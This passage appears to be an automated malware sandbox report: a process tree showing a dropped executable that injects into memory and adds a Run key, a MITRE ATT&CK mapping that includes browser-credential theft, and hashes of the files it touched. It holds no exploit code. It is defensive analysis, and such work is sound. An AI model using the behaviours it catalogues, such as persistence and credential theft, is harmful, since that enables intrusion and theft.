  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6532,i,11824133487231090855,7958552257861497560,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:1
  2⤵
  PID:2664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7164,i,17265779512355728636,18076574253229264066,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=7128 /prefetch:1
  2⤵
  PID:6112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7188,i,15172069415477925859,2922302925955440146,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:1
  2⤵
  PID:4620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7388,i,5324958600807120350,7703068338186533335,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
  2⤵
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7344,i,4848836824306560312,13667121874927654864,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=7544 /prefetch:12
  2⤵
  PID:4876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7512,i,2206942468188062182,9146805377912389142,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=7600 /prefetch:14
  2⤵
  - Modifies registry class
  PID:5372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1396,i,7013025345540781733,12917695880349212362,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=1264 /prefetch:14
  2⤵
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1408,i,8979860712869658713,11907525274101635882,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
  2⤵
  PID:2004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,11361913629100102865,4152799390995391469,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=7880 /prefetch:14
  2⤵
  PID:2356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7148,i,6772941131686182837,7124617486235197796,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:14
  2⤵
  PID:1336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3320,i,15966704794069666359,3158800834257424425,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
  2⤵
  PID:6808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,13549270510335475985,441782200417921512,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:14
  2⤵
  PID:4392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7040,i,12202775488408544490,18376841878942283929,262144 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,9194167343861200058,9235786198603704825,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,1037836019113775993,6649003298628152438,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
  2⤵
  PID:6900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3820,i,14350961135120523278,14412214822385842957,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
  2⤵
  PID:5192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,6170045056060819009,6468426390326590640,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
  2⤵
  PID:5552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5648,i,16192043582919606130,5771202486101606791,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:14
  2⤵
  PID:1552

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:7092

C:\Users\Admin\AppData\Roaming\djyasnd.exe
"C:\Users\Admin\AppData\Roaming\djyasnd.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Users\Admin\AppData\Local\Temp\djyasnd.exe
  "C:\Users\Admin\AppData\Local\Temp\djyasnd.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:7060

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004E4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

classfile_constants.h

Path C:\Program Files\Java\jdk-1.8\include\classfile_constants.h
Size 20KB
SHA256 1a7304149986686900e8d2daf1e91d15b8b11b2436333f84e77685bb1bff3dc0
MD5 3b61a51a7cbc71bd26daea3dca39fc5a
SHA1 331470815eab976dcbd2086fded65055b3c44013
SHA512 522fa872d1f1e28780eb3143ea0f2513d310760bc66e58789af1ca13ae9db563759270eae2e73b069db8e3d11650432a54f418c96e7552c67567783d3eca3480
SSDEEP 384:/cjxIaQWnTNKzmC1UetDA+ln11+uNn/QUsgspEWCoUqMJg0VNQkCkqRgr75+d:/csW4mC1UetDA+9vNnUGWIY
TLSH
T1D1A294D002915CF7572FCA30AA2D38A04291D29B3EF87D81710F5C8AAF6DA4D5B796CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jawt.h

Path C:\Program Files\Java\jdk-1.8\include\jawt.h
Size 9KB
SHA256 dcbd126961362ca53c657bf609700d532392b389bf369835ded23a9b6c7733a0
MD5 c0cbde0ef6161e38ecb05da3b3361d8f
SHA1 a9ffce474d402554b017497bb47e6810bc614303
SHA512 94add40d8b1f720e72298886d8565247eb76d91118fdaaf8889642f0be555af9af3f8f299d5480ddccce87957972d7e8b09f07376ad1fa39e3a4e9a77e88787e
SSDEEP 192:Owcjxkx01hC+EUx/G9sqBLn8hzfwwoQCw7fOmma2UuyJycxsMr5bw4ipr:/cjxkx01hCjQ/GxB+fwXJSr58Tpr
TLSH
T1A522748637E1984319BF05725A2E70D1D265A1BF92D7D04E758FB33C0F48BD98528EE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdwpTransport.h

Path C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h
Size 7KB
SHA256 38ff0ac4b9c6f561aae0912e81b71cb57932407462328bf70079899468801ab4
MD5 3bfb5416b7f6dbbc826627737d0ba0bf
SHA1 34a6dac14eedc894715f95c19c8de37a595de0c9
SHA512 17308b76c7b5171ec2e94288b6693dc8c1ec1284000d62560c98eea089052c7e5dc94d7eb8b7e8f379c65120f0960f7f1c53684e688b493c48ee70c17a74bb53
SSDEEP 192:OwcjxXHOIniDEOqtUk5yx5c29T/YOsH5snppf:/cjx3OeOqy7R
TLSH
T185F1349862A1E08711FF8527CBC9959D31549A5360827987360EF3EE0FDA28DE774CC3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jni.h

Path C:\Program Files\Java\jdk-1.8\include\jni.h
Size 73KB
SHA256 12a017035d6c279e18005536221b48b3d0949a7a97b2d12cf0241d2d0357b0b6
MD5 6fe4af4dfbdc480060ac83a631b7c9c6
SHA1 c678d6603aa67a9736a2fb33a3554622caa58ac2
SHA512 317bb7c6c5b78136bd7e8c6f32d5a4271dc24a0acb2bba5d2cff4bfe242a683217ed81dd71cbafb05af5cb03448afe1457485e861fda4604abd5a21fd0598402
SSDEEP 1536:/cqp294hWixXRL7pLv0PdV7PSiFfXsvb6JFpJrRuXXyl18CycfWYf8MtqIdACWDG:/l294hWqhHNs116YFpJrRuXXyl18CyUP
TLSH
T1FC73F6845CE3D3D21A3BF71E4D1BA1199860B523221EFD40FDDDFA858F8501A89A2F5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvmti.h

Path C:\Program Files\Java\jdk-1.8\include\jvmti.h
Size 76KB
SHA256 a412d9bc42d67c8cd50559931ad3c784f8eb937b25c78259a151426497ffaaab
MD5 c219d2400d1be81b611cd85e26180227
SHA1 3c331e67a829ca06414808367226243ed1d5d512
SHA512 7a9e9236865ce9a254a36871d5cfe2688f42951c035ac0a5ded76ca4d3fc516c4c44d2797fee1e250620ca4e78727e5b627b7d6104211f21c04977520f29e5cd
SSDEEP 1536:/cGpZtzpUsIBsiwKGd3PXwjullnXofSK1rrzwAlbnpyv4m76X0uvu/zPR:/osIBNwKGd3PXwj8lnXofSK1rrzwAlba
TLSH
T159735395C5F2B0D300B7A831918F346B40F7B6033849B648B9ACE56D1F9F92F99706E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvmticmlr.h

Path C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h
Size 4KB
SHA256 a720a399465244eb1147cc5b0b8b848546ff98dd3293a22868bd1981eac48f2b
MD5 9a922921f6257fd962113c37f3b48029
SHA1 408a72bb0b218e13deaba6bf82e886c108783a8e
SHA512 6cd986b6edb78761ae81c8ce9d4cb0c560d9f9e5377329d27c17efcccaeb9631c89a19bc7e9052a5abb3ffef6f01fda0406188c37263198231232e9df19a6e33
SSDEEP 96:OwcjssNi5ysNEVOF3E2wGJIgTpnT6I5FzVVvBVPjsB7w1:Owcjx4pNEkfwX6lL5VLsB7w1
TLSH
T1B3A196662A7AE10B858D0653AB0934EF03A2902F3286B5476DFEF35D1B454A5C229ED0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 68f353a62995fc87917d7d1eef768abe00ffab02e1d3e469100f99b6987f6488
MD5 5ba62d3fe2ddefdf87e8dd139f3e421b
SHA1 1986deda7bda2ac5b490eacb9fe2784fb6d01648
SHA512 4e6a767b24298d2e01c8dbefa41509e1bc67cf2c2f34fd0bf866fc1017e1d15a470a5a95feb8ee1cccf4b8ccf5fa9054bcbb93919c00de89eeffec199b68baf9
TLSH
T19CD02BB5DFFCCC62D54820B802518E116085B41519490040DA03FC04DD110814D03555
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 648887a89dac8888df245d8758dcd78e85ae79931c9464f19b0967fcd69c3d2f
MD5 b053e18c94ac6f6c60a9e0a281e1687b
SHA1 17ed2d8ae6844c2878132336a2fea7d044381f8b
SHA512 abf3d05979a55f573445c0c7a95529a5899c0d9f55f350b3eb35132d8502e23e6c764ffc98e92f4374754aa22e9292fd03f8e6e8113c0e919f428e797e339bfa
TLSH
T151D02BB9DFECCD62D54820B402508E116095B4156D490040D903BC04DD110814D03569
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 40e800f4c297c7453c2825544d7dc8b446687baf146b49ce512d41214fa368b8
MD5 3591e836643f4ba2863bc5b803a8459d
SHA1 153d7e16d4a1fab3b1dd9e29c0b7d99ea13a600a
SHA512 ecf7e4cba90b209e644a6e8b67468f887adf6682d0e99407c1ec65a4377c69f65971506e1996f5da250404f442c3a933c2d9397fb58fade0cf2ab3737e048534
TLSH
T1A8E026D524C8CA6EB6C8745741A8B78CC2803B8FD3CC6E1A178088CE7049A44B7D2791
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_00008e

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008e
Size 57KB
SHA256 1142767abfb8d036697a68a5be5d86049573fdca3f3abb24bbcab1cdd0d0b427
MD5 38e608bf30215b479452114afdd69e51
SHA1 16c7fee7ebb102546de4d3bfd6856d9d93259c06
SHA512 bb10b2e81e99c5dee6f6767b2c44fb95c17a255f5a17726e1c3cf24174cd42a37dfab2a2693791a45cf0f3c69531561ba901d3174ab1c7140f61c9205348cc0e
SSDEEP 1536:zkUkOZNZyk8Qb7X6j2oZd1GLHasHnziiuiSzsoFZ+:bkqvF8Qbj63dEasHnGiuhvK
TLSH
T1F643F1B4B1D080D1936A1B0EEB99CEB6AE5C315834CF3F8651D7FC6D28F614345680AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 be4655520f15dc4d638e709af7c7cc1bfde83254d2bb2480017eea8a0cfa3f14
MD5 1e26470b9aecda0232f9c382a592a505
SHA1 1016271112dd4ba7822b4da5c9375fa2bae2bd69
SHA512 b4e0c8fe57bcbbe654e54345d0b82dcbbeea94eb98816176b3f732f07eceebd4544242fbf0894c42e5c7d2e31f77a279bb3d2e58e81726b7842a5ca6c308fbc8
SSDEEP 96:2bQa2SKaKGjK9BHfFY6yaSHQDeBHEw7YAmLwF4DdivzK0md1iI35ekl6nbPbNUUo:2bnXk9WCctb4zRC1c
TLSH
T13AC1B7C160D5C8ADFF543DF330C08C8B35B9544680BB5F835947E2386ADF399109E26A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000017.ldb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000017.ldb
Size 22KB
SHA256 eed7ac66c7d1312ee0fcc4df7bdea7f82497ccbc4feb679eaf3f22ebdc500560
MD5 f7b1f060a46b36b8c19fca45bb3595ec
SHA1 8a2b28720c0c1020980620a06329b46383f35750
SHA512 497d93b869141e84a8b622884a2b9f116b6bd5cd8a62b7878ddb42a24afdc4b71ca1318070dd43f713f61983bcb2a1aaf97f98f2ea1fa4ee29d5fd9885b4d743
SSDEEP 384:noHjDHyUcqgF3cvexxiZu7yEjIJeqeSSfFVbva24MUbxaHqbg:AD7gF3bxxiZu7ysIJehTVUxXg
TLSH
T198A29EBB0FD940CAE169E176E0FD074E6E10AD0935D5B0ECA582309C2D176FB66ACF16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000018.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000018.log
Size 34KB
SHA256 35a67fa57d9da08404c729b096a6714ec9a7d2782151eb2553cbc5e5e97722c5
MD5 bdd81a1e9e00cf802f69f8b280e1cef4
SHA1 02c3c74c31138ebf4687c5b3107896a2776e8b68
SHA512 cda94a4a9ce900c2f3cecb5578410fe0da1fec4ca9d59f7c48ee2134af6c4e76afcbdfa1d9e64536fd5496e515ae2d2ddbce551d13d16f573b9492150bf72c66
SSDEEP 768:yCKK3j3QaM2kZV5n5k/67x1ZH3MW1cbrAZ+mCo9r39BP88:yC/3j34ZV5n5k/67x1ZH3MW1cwZ11tBV
TLSH
T160F2426F46D5CAD7DB10C5F588684B5A5F3A2C0628E864FEF0893B1DF53A2600F71E1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000020.ldb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000020.ldb
Size 17KB
SHA256 2910a33427b2a2d4dea6a8d18e649076477699cbfa64935044dd8c2afe39f61c
MD5 39aab9fcd714f82986499413b93270c7
SHA1 4c1fdd36011739b7ea84738e77ad393e49a886b4
SHA512 cffc24f10bede63667b98fe70018caf341f7075650e192991a73a5f6540ddd5d3d2199d54d80987641417dfd98f5b7b33c65b8ac5b705201a9272814bf09a430
SSDEEP 384:aLZIyoxK1EwCEjIJeqeSSfFVbva24MUbxaHqD:K/oxK1EwCsIJehTVUx3
TLSH
T11B82AFBF1FE88086E579E236F0FD124A6E11794D31D6E0ACE282301819537FF25A9B12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\LOG
Size 6KB
SHA256 443b91415735105ce7d9bfe338149065f39eaa20f31f69794f8e5f8d090ff9ff
MD5 3a6522aefb4c95488a49e5b815d1e7f5
SHA1 df24b6e5c0f3cc8ac7b28a2ec273c7649c7f0617
SHA512 7c5c2c5d73590350b9e7a964324265bdc032db215c85970e0c0600adb92797a51d3b5d6d9ab92c7ff1135e78c459da64085491c45b816ec24e1fc619712e97c7
SSDEEP 96:0mK5mKCCkgRgRbbpNirD9TaaxX0qlm5KmIbQI1NbgvAVn0n99Vd1UNCOopCs2:TIudI9WWlm5KmIUcNVVnolUNCO5H
TLSH
T1A1D15BC7360DC8AA01C2D271C328F455CC58B35A9BAD5F7875CEB2CF17E2A0BB6560A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001
Size 1KB
SHA256 d3d35305cc9c2798636e1bdcd23a04c348045a897a9568edf2710c402db72585
MD5 6ac414c60dfcd3c17a0ee24c1822f577
SHA1 4dc21ecbd10c7320137ff3b55cb7c2589de6a0cc
SHA512 b096718d90060780cef10ece909886a6c1ac1072541c3af0e8d0b2c5542f0c743c6ff76ad295e1f796c67cd3daf0e6052fceac71a4359b5454585f3749e618f2
TLSH
T109115B11E7B22491F8E808F0193F56AA732164EE282ACA5F274AB65E34679819D5073E
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 14KB
SHA256 be48f59b2a8932355fa51e1990bc8e2445a902b56ca9a698e4f4984ab69662cb
MD5 6cc36912ade0330032a2240993edd348
SHA1 5bcfa4e741cf0f11c0afb4db61a05f408057be1a
SHA512 ec190baeede656e27c5e47876479d75d8990175e625c7083937dd67bdc4b40860a9816e6b0c4ba95dd5cba399fb3604de345ddd2ec049836f1f362d4f71dc531
SSDEEP 192:YPbJwRcsg24tXhJnrHotf9y/gCrPzcvWJq:yJwRZGR1mf9yfnO
TLSH
T1FF62C5B72C0CC49BCBC6A9E79776FE4CD3174C2B8DC9ED9AD068995E06B80343232156
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 12KB
SHA256 4e3e3761eae9e81c5fa85c970fd57978d672a53c5a123686449b89d088fa7afa
MD5 b58008f444f54f2daf51487aad7f2cef
SHA1 4596c1eef2d70ccb3d8078e74e1c18841e9de276
SHA512 e09769a9dd75f5bc4cf94fe5cc4453016f3e80bdf3100529af1a9f1e24fd2a78afef1cf059cce35ffe72dd25fb8c67d6723fc7fac21718b4a6aa8981f36b88b6
SSDEEP 384:DJO6mlJYBEPkD7YVdeJ0UxXqLPe4aRa8Y175+63i/EtVii9vvkYDIGJ1q+2rJxa5:/hE
TLSH
T1EC42ACF2C3E9822DD81156F09A543E1BDE2D0E6483683C6AC9D5BF4BA3F5471E241A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 11KB
SHA256 ea97cf21e896a6762b4495a7d4cfbab603bc2543206c3b608480bcc15792adb0
MD5 1b6e2eb093380d4175ca45792956a314
SHA1 7a50190894e8d12e4d80f6e286e5ebd2f70ee129
SHA512 e8f4b85abe35b084066fc12ab48a6ee2323e50312020f1dce1d4580f6e1c5ade32fbb2fe0875249a874b922f805b0161e3b753b62e2323680cc8858d952bc5ea
SSDEEP 192:DJO6mlJYBEPkD7YVdeJ0UxLaRa8jhW175+63i/EtVii9vvfWYDIGJ1q+2rRTHQOY:DJO6mlJYBEPkD7YVdeJ0UxLaRa8Y175/
TLSH
T11F329CF3C3E9832DD81156F09A543E1BDE2D0E6483683C6AC9D4AF5BA3F5471E241A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
